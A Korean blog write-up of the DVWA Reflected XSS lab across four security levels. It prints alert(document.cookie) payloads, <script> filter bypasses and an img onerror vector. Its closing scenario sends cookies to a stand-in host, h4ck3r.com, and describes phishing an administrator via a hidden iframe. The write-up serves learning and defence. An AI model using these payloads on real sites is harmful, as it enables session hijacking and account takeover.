Archive for Dev. (junyup2)

์ง€์‹์„ ์ฑ„์›Œ๊ฐ€๋Š” ใ€Ž๊ฐœ๋ฐœ์ž/ํ™”์ดํŠธํ•ด์ปคใ€๋ฅผ ๋ชฉํ‘œ๋กœ ์ •๋ฆฌํ•˜๋Š” ๋ธ”๋กœ๊ทธ

Practice/DVWA

[DVWA] XSS (Reflected)

Gearvirus(junyup2) 2024. 4. 14. 02:55

Vulnerability: XSS (Reflected)

XSS ์ทจ์•ฝ์ ์€ ์‚ฌ์šฉ์ž์˜ ์ž…๋ ฅ ๊ฐ’์„ HTML์—์„œ ์ถœ๋ ฅํ•˜๋Š” ๋ถ€๋ถ„์—์„œ ๋ฐœ์ƒํ•œ๋‹ค. ๋ณธ ์‹ค์Šต์—์„œ๋Š” ์ž…๋ ฅ ๊ฐ’์ด ๋ฐ˜์‚ฌ๋˜์–ด ์ถœ๋ ฅ๋˜๋Š” ๊ฒฝ์šฐ์— ๋Œ€ํ•˜์—ฌ XSS๊ฐ€ ๊ฐ€๋Šฅํ•œ์ง€ ์—ฌ๋ถ€๋ฅผ ํ™•์ธํ•œ๋‹ค.

DVWA XSS(Reflected) ์‹ค์Šต

์‹ค์Šต ํ™˜๊ฒฝ
- Windows Docker๋ฅผ ์ด์šฉํ•œ DVWA
- Windows ํ™˜๊ฒฝ์˜ Burp Suite

Low, Medium, High, Impossible ๋ ˆ๋ฒจ์— ์ƒ๊ด€์—†์ด ์œ„์™€ ๊ฐ™์€ ํŽ˜์ด์ง€๊ฐ€ ๋‚˜์˜ค๊ณ , ์ž…๋ ฅ์ฐฝ์— ์ž…๋ ฅํ•˜๋Š” ๊ฐ’์„ ํ•ด๋‹น ํŽ˜์ด์ง€์— ๊ทธ๋Œ€๋กœ ๋ฐ˜์‚ฌ์‹œ์ผœ ์ถœ๋ ฅํ•ด์ฃผ๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด๋‹ค.

alert(document.cookie);

์œ„์™€ ๊ฐ™์ด ์ฟ ํ‚ค๋ฅผ ์ถœ๋ ฅํ•ด์ฃผ๋Š” ๊ฒƒ์„ ๋ชฉํ‘œ๋กœ ํ•  ๊ฒƒ์ด๋‹ค.

 

Security Level: Low

< ' " > ํ™•์ธํ•˜๊ธฐ

์šฐ์„  XSS ๊ฐ€๋Šฅ์—ฌ๋ถ€ ํ™•์ธ์„ ์œ„ํ•ด < ' " > ๋ฅผ ์ž…๋ ฅํ•˜์—ฌ ์‘๋‹ต์„ ํ™•์ธํ•ด๋ณธ๋‹ค.

(Burp Suite๋ฅผ ํ†ตํ•ด ํ™•์ธ๋˜๋Š” ์‘๋‹ต์€ ๋‹ค๋ฅด์ง€๋งŒ, ์›น ์ƒ์˜ ์ถœ๋ ฅ์€ ์–ด๋–ค ๋ ˆ๋ฒจ์—์„œ๋“  ์œ„์™€ ๊ฐ™์ด ๋™์ผํ•˜๊ฒŒ ๋‚˜์˜จ๋‹ค.)

Low ๋ ˆ๋ฒจ์˜ ์š”์ฒญ์„ ํ™•์ธํ•ด๋ณด๋ฉด ์œ„์™€ ๊ฐ™๊ณ , ํ•ด๋‹น ์š”์ฒญ์˜ ์‘๋‹ต์€ ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

์œ„์™€ ๊ฐ™์ด ์ž…๋ ฅํ•œ < ' " > ๊ฐ€ ๊ทธ๋Œ€๋กœ ์ถœ๋ ฅ๋˜๊ณ  ์žˆ๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

 

์ฟ ํ‚ค(Cookie) ํƒˆ์ทจ

์ฟ ํ‚ค๋ฅผ ์ถœ๋ ฅํ•˜๊ธฐ ์œ„ํ•ด script ํƒœ๊ทธ ์•ˆ์— alert()๋ฅผ ์ด์šฉํ•˜์—ฌ document.cookie๋ฅผ ์ถœ๋ ฅํ•œ๋‹ค. ์•„๋ž˜์™€ ๊ฐ™์€ ์ฝ”๋“œ๋ฅผ ์šฐ์„  ์‹œ๋„ํ•ด๋ณธ๋‹ค.

<script>alert(document.cookie);</script>

๊ทธ ๊ฒฐ๊ณผ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์ฟ ํ‚ค๊ฐ€ ์•Œ๋ฆผ์ฐฝ์— ์ถœ๋ ฅ๋˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

script ํƒœ๊ทธ๊ฐ€ ํ™œ์„ฑํ™” ๋˜์–ด์žˆ๊ธฐ ๋•Œ๋ฌธ์— ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์ด๋ฆ„์ด ์›น ์ƒ์—๋Š” ์ถœ๋ ฅ๋˜์ง€ ์•Š๋Š”๋‹ค.

Burp Suite๋ฅผ ํ†ตํ•ด ํ™•์ธํ•ด๋ณด๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์Šคํฌ๋ฆฝํŠธ ํƒœ๊ทธ๊ฐ€ ํ™œ์„ฑํ™” ๋˜์–ด alert()๊ฐ€ ํ™œ์„ฑํ™” ๋˜์–ด ์žˆ๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.


Security Level: Medium

< ' " > ํ™•์ธํ•˜๊ธฐ

์šฐ์„  XSS ๊ฐ€๋Šฅ์—ฌ๋ถ€ ํ™•์ธ์„ ์œ„ํ•ด < ' " > ๋ฅผ ์ž…๋ ฅํ•˜์—ฌ ์‘๋‹ต์„ ํ™•์ธํ•ด๋ณธ๋‹ค.

(Burp Suite๋ฅผ ํ†ตํ•ด ํ™•์ธ๋˜๋Š” ์‘๋‹ต์€ ๋‹ค๋ฅด์ง€๋งŒ, ์›น ์ƒ์˜ ์ถœ๋ ฅ์€ ์–ด๋–ค ๋ ˆ๋ฒจ์—์„œ๋“  ์œ„์™€ ๊ฐ™์ด ๋™์ผํ•˜๊ฒŒ ๋‚˜์˜จ๋‹ค.)

Medium ๋ ˆ๋ฒจ์˜ ์š”์ฒญ์„ ํ™•์ธํ•ด๋ณด๋ฉด ์œ„์™€ ๊ฐ™๊ณ , ํ•ด๋‹น ์š”์ฒญ์˜ ์‘๋‹ต์€ ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

์œ„์™€ ๊ฐ™์ด ์ž…๋ ฅํ•œ < ' " > ๊ฐ€ ๊ทธ๋Œ€๋กœ ์ถœ๋ ฅ๋˜๊ณ  ์žˆ๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

 

์ฟ ํ‚ค(Cookie) ํƒˆ์ทจ

์ฟ ํ‚ค๋ฅผ ์ถœ๋ ฅํ•˜๊ธฐ ์œ„ํ•ด script ํƒœ๊ทธ ์•ˆ์— alert()๋ฅผ ์ด์šฉํ•˜์—ฌ document.cookie๋ฅผ ์ถœ๋ ฅํ•œ๋‹ค. ์•„๋ž˜์™€ ๊ฐ™์€ ์ฝ”๋“œ๋ฅผ ์šฐ์„  ์‹œ๋„ํ•ด๋ณธ๋‹ค.

<script>alert(document.cookie);</script>

์œ„์™€ ๊ฐ™์ด ์ž…๋ ฅํ•œ ๊ฒฐ๊ณผ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์ผ๋ถ€๋ถ„๋งŒ ๊ทธ๋Œ€๋กœ ์ถœ๋ ฅ๋˜์—ˆ๋‹ค. ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ํ™œ์„ฑํ™” ๋˜์ง€ ์•Š์•˜๋‹ค๋Š” ์˜๋ฏธ์ด๋‹ค.

Burp Suite์„ ์ด์šฉํ•˜์—ฌ ์š”์ฒญ๊ณผ ์‘๋‹ต์„ ์‚ดํŽด๋ณด๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

์œ„์™€ ๊ฐ™์ด ์•ž๋’ค์˜ <script> ๊ฐ€ ์ง€์›Œ์ง„ ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค. ์ฆ‰, ํ•„ํ„ฐ๋ง์ด ์ด๋ฃจ์–ด์ง€๊ณ  ์žˆ๋‹ค๋Š” ๊ฒƒ์ด๋‹ค.

ํ•ด๋‹น ์†Œ์Šค์ฝ”๋“œ๋ฅผ ์‚ดํŽด๋ณด๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

์œ„์™€ ๊ฐ™์ด ์ž…๋ ฅ ๊ฐ’์— ๋Œ€ํ•˜์—ฌ <script>๋ฅผ ๊ณต๋ฐฑ ๋ฌธ์ž๋กœ ์น˜ํ™˜ํ•˜๊ณ  ์žˆ๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค. ๊ทธ๋ž˜์„œ ์ง€์›Œ์ง„ ๊ฒƒ์ด๋‹ค.

ํ•˜์ง€๋งŒ ์œ„์™€ ๊ฐ™์ด ํŠน์ • ๋‹จ์–ด๋งŒ์„ ์น˜ํ™˜ํ•˜๋Š” ๊ฒฝ์šฐ์—๋Š” ํ•ด๋‹น ๋ฌธ์ž ์‚ฌ์ด์— ํ•„ํ„ฐ๋ง ๋˜๋Š” ๋ฌธ์ž๋ฅผ ์‚ฝ์ž…ํ•˜๋Š” ๋ฐฉ์‹์œผ๋กœ ์šฐํšŒ๊ฐ€ ๊ฐ€๋Šฅํ•˜๋‹ค.

<script>  -> <scr<script>ipt>

์œ„์™€ ๊ฐ™์ด ์ž…๋ ฅํ•˜๋Š” ๊ฒฝ์šฐ <script> ๊ฐ€ ๊ณต๋ฐฑ์ด ๋˜๋ฉด์„œ <scr ๊ณผ ipt> ๊ฐ€ ๋ถ™๊ฒŒ ๋˜์–ด <script> ๊ฐ€ ๋œ๋‹ค๋Š” ๊ฒƒ์ด๋‹ค.

๊ทธ๋Ÿฌ๋ฏ€๋กœ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์ž…๋ ฅํ•˜์—ฌ ์ฟ ํ‚ค ์ถœ๋ ฅ์„ ์‹œ๋„ํ•ด๋ณธ๋‹ค.

<scr<script>ipt>alert(document.cookie);</script>

์œ„์™€ ๊ฐ™์ด ์ž…๋ ฅํ•˜๋Š” ๊ฒฝ์šฐ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์ฟ ํ‚ค๊ฐ€ ์•Œ๋ฆผ์ฐฝ์— ์ถœ๋ ฅ๋˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

๊ทธ๋ฆฌ๊ณ  ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ํ™œ์„ฑํ™” ๋˜์–ด์žˆ๊ธฐ ๋•Œ๋ฌธ์— ์›น ์ƒ์—๋Š” ์ถœ๋ ฅ๋˜์ง€ ์•Š๋Š”๋‹ค.

์ด๊ฒƒ์„ Burp Suite์œผ๋กœ ํ™•์ธํ•ด๋ณด๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.


Security Level: High

< ' " > ํ™•์ธํ•˜๊ธฐ

์šฐ์„  XSS ๊ฐ€๋Šฅ์—ฌ๋ถ€ ํ™•์ธ์„ ์œ„ํ•ด < ' " > ๋ฅผ ์ž…๋ ฅํ•˜์—ฌ ์‘๋‹ต์„ ํ™•์ธํ•ด๋ณธ๋‹ค.

(Burp Suite๋ฅผ ํ†ตํ•ด ํ™•์ธ๋˜๋Š” ์‘๋‹ต์€ ๋‹ค๋ฅด์ง€๋งŒ, ์›น ์ƒ์˜ ์ถœ๋ ฅ์€ ์–ด๋–ค ๋ ˆ๋ฒจ์—์„œ๋“  ์œ„์™€ ๊ฐ™์ด ๋™์ผํ•˜๊ฒŒ ๋‚˜์˜จ๋‹ค.)

High ๋ ˆ๋ฒจ์˜ ์š”์ฒญ์„ ํ™•์ธํ•ด๋ณด๋ฉด ์œ„์™€ ๊ฐ™๊ณ , ํ•ด๋‹น ์š”์ฒญ์˜ ์‘๋‹ต์€ ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

์œ„์™€ ๊ฐ™์ด ์ž…๋ ฅํ•œ < ' " > ๊ฐ€ ๊ทธ๋Œ€๋กœ ์ถœ๋ ฅ๋˜๊ณ  ์žˆ๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

 

์ฟ ํ‚ค(Cookie) ํƒˆ์ทจ

์ฟ ํ‚ค๋ฅผ ์ถœ๋ ฅํ•˜๊ธฐ ์œ„ํ•ด script ํƒœ๊ทธ ์•ˆ์— alert()๋ฅผ ์ด์šฉํ•˜์—ฌ document.cookie๋ฅผ ์ถœ๋ ฅํ•œ๋‹ค. ์•„๋ž˜์™€ ๊ฐ™์€ ์ฝ”๋“œ๋ฅผ ์šฐ์„  ์‹œ๋„ํ•ด๋ณธ๋‹ค.

<script>alert(document.cookie);</script>

์œ„์™€ ๊ฐ™์ด ์ž…๋ ฅํ•œ ๊ฒฐ๊ณผ ๋‹ค์Œ๊ณผ ๊ฐ™์ด >๋งŒ ๊ทธ๋Œ€๋กœ ์ถœ๋ ฅ๋˜์—ˆ๋‹ค. ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ํ™œ์„ฑํ™” ๋˜์ง€ ์•Š์•˜๋‹ค๋Š” ์˜๋ฏธ์ด๋‹ค.

Burp Suite์„ ์ด์šฉํ•˜์—ฌ ์š”์ฒญ๊ณผ ์‘๋‹ต์„ ์‚ดํŽด๋ณด๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

๋‹ค์Œ๊ณผ ๊ฐ™์ด script ๋กœ ์‹œ์ž‘ํ•ด์„œ > ์ „๊นŒ์ง€์˜ ๋ชจ๋“  ๊ฒƒ์ด ์ง€์›Œ์ง„ ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋Š”๋ฐ, ์†Œ์Šค์ฝ”๋“œ๋ฅผ ํ™•์ธํ•ด๋ณด๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

PHP์˜ preg_replace() ํ•จ์ˆ˜๋ฅผ ์ด์šฉํ•˜์—ฌ <*s*c*r*i*p*t ๊ทœ์น™์— ํ•ด๋‹นํ•˜๋Š” ๋ฌธ์ž์—ด์„ ๋Œ€์†Œ๋ฌธ์ž ๊ตฌ๋ถ„ํ•˜์ง€ ์•Š๊ณ  ์ œ๊ฑฐํ•ด๋ฒ„๋ฆฐ๋‹ค. 

์ฆ‰, "<script", "<SCRIPT", "<SC\RIPT", "</script", "</SCRIPT", "</SC/**/RIPT" ๋“ฑ์˜ ๋ฌธ์ž์—ด๋กœ ์‹œ์ž‘ํ•˜๋Š” ๋ฌธ์ž์—ด์„ ์ œ๊ฑฐํ•œ๋‹ค๋Š” ๊ฒƒ์ด๋‹ค. ๋•Œ๋ฌธ์— <script> ํƒœ๊ทธ๋ฅผ ์ด์šฉํ•˜๋Š” ๋ฐฉ๋ฒ•์€ ๋ถˆ๊ฐ€๋Šฅํ•˜๋‹ค.

ํ•˜์ง€๋งŒ script๋ฅผ ์‚ฝ์ž…ํ•˜๋Š” ๋ฐฉ๋ฒ•์ด <script> ํƒœ๊ทธ๋งŒ ์žˆ๋Š” ๊ฒƒ์ด ์•„๋‹ˆ๋ผ๋Š” ๊ฒƒ์„ ์ƒ๊ฐํ•ด์•ผ ํ•œ๋‹ค.

(OWASP์˜ XSS ํ•„ํ„ฐ๋ง ์šฐํšŒ๋ฒ•(XSS Filter Evasion Cheat Sheet)์„ ์‚ดํŽด๋ณด๋ฉด ๋„ˆ๋ฌด๋‚˜ ๋งŽ์€ ๋ฐฉ๋ฒ•์ด ์žˆ๋‹ค.)

์—ฌ๊ธฐ์„œ๋Š” img ํƒœ๊ทธ๋ฅผ ์ด์šฉํ•œ ๋ฐฉ๋ฒ•์„ ์ด์šฉํ•  ๊ฒƒ์ด๊ณ  ์ž…๋ ฅ๊ฐ’์€ ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

<img src=x onerror=alert(document.cookie);>

์œ„์™€ ๊ฐ™์ด ์ž…๋ ฅํ•˜๋Š” ๊ฒฝ์šฐ img ์ฃผ์†Œ๊ฐ€ x ๋กœ ๋ถˆ๋Ÿฌ์˜ค๋Š” ๊ฒƒ์ด ๋ถˆ๊ฐ€๋Šฅ ํ•˜๊ธฐ ๋•Œ๋ฌธ์—, ์—๋Ÿฌ๊ฐ€ ๋ฐœ์ƒํ•˜๊ณ  onerror ๋ผ๋Š” EventHandler์— ์˜ํ•ด ์ฟ ํ‚ค๋ฅผ ์ถœ๋ ฅํ•˜๋Š” ์•Œ๋ฆผ์ฐฝ์„ ๋„์šฐ๊ฒŒ ๋œ๋‹ค.

์œ„์™€ ๊ฐ™์ด ๋ถˆ๋Ÿฌ์˜ค๋Š”๋ฐ ์‹คํŒจํ•œ img ๊ฐ€ ๋œจ๊ณ  ์•Œ๋ฆผ์ฐฝ์— ์ฟ ํ‚ค๊ฐ€ ์ถœ๋ ฅ๋˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค. ์ด๋ฅผ Burp Suite๋ฅผ ํ†ตํ•ด ํ™•์ธํ•ด๋ณด๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

์œ„์™€ ๊ฐ™์ด img ํƒœ๊ทธ์˜ ๊ฒฝ์šฐ๋Š” ํ™œ์„ฑํ™”๋˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๊ณ , ๋‹ค์Œ๊ณผ ๊ฐ™์ด img ๋ฅผ ๋ถˆ๋Ÿฌ์˜ค๋Š”๋ฐ ์‹คํŒจํ•˜์˜€๋‹ค๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.


Security Level: Impossible

< ' " > ํ™•์ธํ•˜๊ธฐ

์šฐ์„  XSS ๊ฐ€๋Šฅ์—ฌ๋ถ€ ํ™•์ธ์„ ์œ„ํ•ด < ' " > ๋ฅผ ์ž…๋ ฅํ•˜์—ฌ ์‘๋‹ต์„ ํ™•์ธํ•ด๋ณธ๋‹ค.

(Burp Suite๋ฅผ ํ†ตํ•ด ํ™•์ธ๋˜๋Š” ์‘๋‹ต์€ ๋‹ค๋ฅด์ง€๋งŒ, ์›น ์ƒ์˜ ์ถœ๋ ฅ์€ ์–ด๋–ค ๋ ˆ๋ฒจ์—์„œ๋“  ์œ„์™€ ๊ฐ™์ด ๋™์ผํ•˜๊ฒŒ ๋‚˜์˜จ๋‹ค.)

Impossible ๋ ˆ๋ฒจ์˜ ์š”์ฒญ์„ ํ™•์ธํ•ด๋ณด๋ฉด ์œ„์™€ ๊ฐ™๊ณ , ํ•ด๋‹น ์š”์ฒญ์˜ ์‘๋‹ต์€ ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

์œ„์™€ ๊ฐ™์ด ์ž…๋ ฅํ•œ < ' " > ์ค‘ ' ๋ฅผ ์ œ์™ธํ•œ ๋‚˜๋จธ์ง€๊ฐ€ ๊ทธ๋Œ€๋กœ ์ถœ๋ ฅ๋˜์ง€ ์•Š๊ณ , HTML Entity๋กœ  ๋ณ€ํ™˜๋˜์–ด์žˆ๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค. ๊ทธ๋Œ€๋กœ ์ถœ๋ ฅ๋˜๋Š” ๊ฒƒ ์ฒ˜๋Ÿผ๋ณด์ด์ง€๋งŒ ์‹ค์ œ๋กœ๋Š” HTML์— ์˜ํ–ฅ์„ ์ฃผ์ง€ ์•Š๋Š” ๋‹ค๋Š” ๊ฒƒ์ด๋‹ค.

์œ„์˜ ๊ฒฝ์šฐ์—๋Š” ์Šคํฌ๋ฆฝํŠธ ์‚ฝ์ž…์ด ๋ถˆ๊ฐ€๋Šฅํ•˜๋‹ค. ํ•˜์ง€๋งŒ ์–ด๋–ค์‹์œผ๋กœ ์ถœ๋ ฅ์ด ๋‚˜์˜ค๋Š”์ง€ ํ™•์ธํ•˜๊ธฐ ์œ„ํ•ด Low ๋ ˆ๋ฒจ์—์„œ ํ™•์ธํ•ด๋ดค๋˜ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‚ฝ์ž…ํ•ด๋ณธ๋‹ค.

 

์ฟ ํ‚ค(Cookie) ํƒˆ์ทจ - ๋ถˆ๊ฐ€๋Šฅ

<script>alert(document.cookie);</script>

์œ„์™€ ๊ฐ™์ด ์ž…๋ ฅํ•˜๋Š” ๊ฒฝ์šฐ, ๋‹ค์Œ๊ณผ ๊ฐ™์ด ํ•ด๋‹น ์ž…๋ ฅ์ด ์Šคํฌ๋ฆฝํŠธ๋กœ์„œ ํ™œ์„ฑํ™”๋˜๋Š” ๊ฒƒ์ด ์•„๋‹ˆ๋ผ ๋ฌธ์ž ๊ทธ๋Œ€๋กœ ์ถœ๋ ฅ๋˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

์ด๋ฅผ Burp Suite๋กœ ํ™•์ธํ•ด๋ณด๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์ด HTML Entity ๋ณ€ํ™˜์„ ํ†ตํ•ด ์Šคํฌ๋ฆฝํŠธ์— ์˜ํ–ฅ์„ ์ค„ ์ˆ˜ ์žˆ๋Š” ๋ฌธ์ž๋“ค์„ ๋ฐ”๊พธ์–ด ์ค€ ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

ํ•ด๋‹น ์†Œ์Šค์ฝ”๋“œ๋ฅผ ์‚ดํŽด๋ณด๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

์œ„์™€ ๊ฐ™์ด htmlspecialchars๋ฅผ ์ด์šฉํ•˜์—ฌ HTML ํŠน์ˆ˜๋ฌธ์ž์— ๋Œ€ํ•œ ๋ณ€ํ™˜์„ ์‹œ์ผœ์ฃผ๊ณ  ์žˆ๋‹ค๋Š” ๊ฒƒ์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.

( & )๋Š” &amp; ๋กœ ๋ณ€ํ™˜
( > )๋Š” &gt; ๋กœ ๋ณ€ํ™˜
( < )๋Š” &lt; ๋กœ ๋ณ€ํ™˜
( " )๋Š” &quot; ๋กœ ๋ณ€ํ™˜
(htmlspecialchars() ํ•จ์ˆ˜ ์‚ฌ์šฉ์‹œ ENT_QUOTES๋ฅผ ์„ค์ •ํ•˜๋ฉด ์ž‘์€๋”ฐ์˜ดํ‘œ(')๋Š” &#039;๋กœ ๋ณ€ํ™˜)

Impossible ๋ ˆ๋ฒจ์—์„œ๋Š” < " > ์— ๋Œ€ํ•˜์—ฌ HTML Entity๋กœ์˜ ๋ณ€ํ™˜์„ ํ†ตํ•ด ์ฐจ๋‹จํ•˜๊ณ  ์žˆ๋‹ค. ํŠน์ˆ˜ํ•œ ์ƒํ™ฉ์—์„œ๋Š” htmlspecialchars() ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜๋”๋ผ๋„ ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ ์‚ฝ์ž…์ด ๊ฐ€๋Šฅํ•  ์ˆ˜ ์žˆ๋‹ค. (์‚ฌ์šฉ์ž๊ฐ€ ์ž…๋ ฅํ•œ ๊ฐ’์„ <script> ๋‚ด์— ์ถœ๋ ฅํ•˜์—ฌ ์›น ๋ธŒ๋ผ์šฐ์ €๋กœ ์ „๋‹ฌํ•  ๋•Œ์— ๊ทธ๋Ÿฐ ๊ฒฝ์šฐ๊ฐ€ ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ๋‹ค.)


๊ณต๊ฒฉ ์‹œ๋‚˜๋ฆฌ์˜ค

์„ธ์…˜(Session) ํƒˆ์ทจ

์„ธ์…˜ ํƒˆ์ทจ์— ๋Œ€ํ•œ ์‹œ๋‚˜๋ฆฌ์˜ค๋ฅผ ์ƒ๊ฐํ•ด๋ณด๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

์„ธ์…˜ ์ฟ ํ‚ค๋ฅผ ๋นผ๋‚ด๋ฉด ํ”ผํ•ด์ž์˜ ๊ถŒํ•œ์„ ํƒˆ์ทจํ•  ์ˆ˜ ์žˆ๋‹ค. ๊ณต๊ฒฉ์ž๋Š” ์ทจ์•ฝ์ ์„ ํŒŒ์•…ํ•˜๊ณ  ๋ณ€์ˆ˜ ๊ฐ’์„ ์กฐ์ž‘ํ•˜์—ฌ <img width="0" height="0" src="x" onerror="document.location='http://h4ck3r.com/log_cookie.cgi?cookie='+document.cookie"> ๊ณผ ๊ฐ™์ด ์ฟ ํ‚ค(cookie)๊ฐ’์„ h4ck3r.com ์œผ๋กœ ์ „๋‹ฌํ•˜๋„๋ก ํ•˜๋Š” ๊ณต๊ฒฉ ๊ตฌ๋ฌธ์ด๋‹ค. ํ•ด๋‹น ๊ตฌ๋ฌธ์„ ์‚ฝ์ž…ํ•œ URL์€ ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค. (Medium  ๋ ˆ๋ฒจ ๊ธฐ์ค€)

http://localhost/vulnerabilities/xss_r/?name=%3Cimg+width%3D%220%22+height%3D%220%22+src%3D%22x%22+onerror%3D%22document.location%3D%27http%3A%2F%2Fh4ck3r.com%2Flog_cookie.cgi%3Fcookie%3D%27%2Bdocument.cookie%22%3E

๊ณต๊ฒฉ์ž๊ฐ€ ํ•ด๋‹น ๋งํฌ๋ฅผ ๊ด€๋ฆฌ์ž๊ฐ€ ํด๋ฆญํ•˜๋„๋ก ์œ ๋„ํ•˜๊ธฐ ์œ„ํ•ด ๋ฉ”์ผ์„ ํ†ตํ•ด ํ•ด๋‹น URL์„ ๋ณด๋‚ธ๋‹ค. ๊ด€๋ฆฌ์ž๊ฐ€ ๊ด€์‹ฌ ๊ฐ€์งˆ๋งŒํ•œ ๋‚ด์šฉ์˜ ๋ฉ”์ผ์„ ๋ณด๋‚ด๋ฉด์„œ <iframe>์„ ํ†ตํ•ด ํ•ด๋‹น URL์„ ์€๋‹‰์‹œ์ผœ ์ฒจ๋ถ€ํ•˜๋Š” ๊ฒƒ์ด๋‹ค.

๊ด€๋ฆฌ์ž๊ฐ€ ํ•ด๋‹น ์‚ฌ์ดํŠธ๋ฅผ ๋ช‡๋ถ„ ์ „๊นŒ์ง€ ๊ด€๋ฆฌ์ž ๊ณ„์ •์œผ๋กœ ์ ‘์†ํ–ˆ๋‹ค๊ฐ€ ํ•ด๋‹น ํƒญ์„ ๊ป์ง€๋งŒ, ์›น ๋ธŒ๋ผ์šฐ์ €๋ฅผ ์ข…๋ฃŒํ•˜์ง€๋Š” ์•Š์•˜๋‹ค๋ฉด? ๊ทธ๋ฆฌ๊ณ  ๋™์ผํ•œ ์›น ๋ธŒ๋ผ์šฐ์ €์—์„œ ๊ณต๊ฒฉ์ž๊ฐ€ ๋ณด๋‚ธ ๋ฉ”์ผ์„ ์ฝ๋Š”๋‹ค๋ฉด? ๊ณต๊ฒฉ์ž๊ฐ€ <iframe>์— ์ˆจ๊ฒจ๋‘” ์œ„์˜ URL์ด ์‹คํ–‰๋˜์ง€๋งŒ ๊ด€๋ฆฌ์ž๋Š” ๋ˆˆ์น˜์žฌ์ง€ ๋ชปํ•œ๋‹ค.

https://h4ck3r.com/log_cookie.cgi?cookie=PHPSESSID=krp2eou9c1jfalakj0j1b4ptp3;%20security=medium

ํ•ด๋‹น URL์˜ ์ ‘์†์„ ํ†ตํ•ด ๊ณต๊ฒฉ์ž์˜ ์„œ๋ฒ„๋กœ ๊ด€๋ฆฌ์ž์˜ ์„ธ์…˜ ID๊ฐ€ ์ „๋‹ฌ๋œ๋‹ค.

๊ณต๊ฒฉ์ž๋Š” ์ž์‹ ์˜ ์„œ๋ฒ„๋กœ ์ „๋‹ฌ๋œ ์ฟ ํ‚ค(cookie)๊ฐ’์— ํฌํ•จ๋˜์–ด ์žˆ๋Š” ์„ธ์…˜ID๋ฅผ ์ž์‹ ์˜ ์›น ๋ธŒ๋ผ์šฐ์ €์— ์ž…๋ ฅํ•˜์—ฌ, ๊ณต๊ฒฉ์ž๋Š” ํ•ด๋‹น ์›น ์‚ฌ์ดํŠธ์˜ ๊ด€๋ฆฌ์ž ๊ถŒํ•œ์œผ๋กœ ์ ‘์†ํ•˜๊ฒŒ ๋œ๋‹ค.

์ผ๋ฐ˜์ ์œผ๋กœ ์ฟ ํ‚ค์˜ ๊ฒฝ์šฐ, ์œ ํšจ๊ธฐ๊ฐ„์„ ์ •ํ•˜์ง€ ์•Š๋Š” ๊ฒฝ์šฐ๊ฐ€ ๋งŽ๋‹ค. ์ด๋Ÿฐ ๊ฒฝ์šฐ์—๋Š” ์›น ๋ธŒ๋ผ์šฐ์ €๋ฅผ ์™„์ „ํžˆ ์ข…๋ฃŒํ•˜์ง€ ์•Š๋Š” ํ•œ์€, ์›น ๋ธŒ๋ผ์šฐ์ €๋Š” ์ฟ ํ‚ค๋ฅผ ๊ณ„์†ํ•ด์„œ ์ €์žฅํ•˜๊ณ  ์žˆ๊ฒŒ๋œ๋‹ค.
